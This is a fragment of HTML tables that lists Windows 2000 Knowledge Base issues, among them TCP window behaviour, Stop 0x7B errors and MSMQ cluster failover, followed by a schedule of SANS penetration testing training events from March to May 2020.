<td></td>
<td></td>
</tr>
<tr>
<td>321418</td>
<td>TTLM Windows 2000 Does Not Handle Selective ACKs Default TCP Window Size Is Still Used After You Specify a Different TCPWindowSize Not Enough Info</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>328948</td>
<td>CoCreateInstance activities in its DllMain function not Enough Info</td>
<td></td>
<td></td>
<td></td>
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</tbody>
</table>

<table>
<thead>
<tr>
<th>Event ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>330016</td>
<td>Stop 0x7B Error Occurs If You Disable Diskperf When Other Filter Drivers Are Loaded Base operating system Not Enough Info</td>
</tr>
</tbody>
</table>
The "Eject PC" Command May Not Work Intermittently

MSMQ: Performance Monitor Counters Are Lost on the Cluster During Failover

An NBT Connection Does Not Appear in the Performance Objects List

Internet Information Services/COM + Message Queuing Clustering Networking
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# Upcoming SANS Penetration Testing

<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
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<td>Oslo, Norway</td>
<td>Mar 23, 2020 - Mar 28, 2020</td>
<td>CyberCon</td>
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<td>Seattle, WA</td>
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</tr>
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<td>SANS Philadelphia 2020</td>
<td>Philadelphia, PA</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>CyberCon</td>
</tr>
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<td>Community SANS Ottawa SEC560</td>
<td>Ottawa, ON</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>CyberCon</td>
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<tr>
<td>SANS Frankfurt March 2020</td>
<td>Frankfurt, Germany</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>CyberCon</td>
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<td>Providence, RI</td>
<td>Mar 31, 2020 - Apr 01, 2020</td>
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<td>Apr 03, 2020 - Apr 24, 2020</td>
<td>Mentor</td>
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<td>Apr 03, 2020 - Apr 10, 2020</td>
<td>CyberCon</td>
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<td>Apr 14, 2020 - Apr 19, 2020</td>
<td>CyberCon</td>
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<td>Apr 14, 2020 - Apr 19, 2020</td>
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<td>Community SANS</td>
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<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
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<td>Live Event</td>
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<td>Community SANS</td>
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<td>London, United Kingdom</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>Live Event</td>
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<td>Apr 27, 2020 - May 02, 2020</td>
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<td>Columbia, MD</td>
<td>Apr 27, 2020 - May 02, 2020</td>
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<td>SANS Pen Test Austin 2020</td>
<td>Austin, TX</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
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<td>Baltimore, MD</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
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<td>Bucharest, Romania</td>
<td>May 04, 2020 - May 09, 2020</td>
<td>Live Event</td>
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<td>Live Event</td>
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<td>May 11, 2020 - May 16, 2020</td>
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<td>May 11, 2020 - May 18, 2020</td>
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<td>CyberCon</td>
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<td>May 17, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Autumn Sydney 2020</td>
<td>Sydney, Australia</td>
<td>May 18, 2020 - May 23, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London May 2020</td>
<td>London, United Kingdom</td>
<td>May 18, 2020 - May 23, 2020</td>
<td>Live Event</td>
</tr>
</tbody>
</table>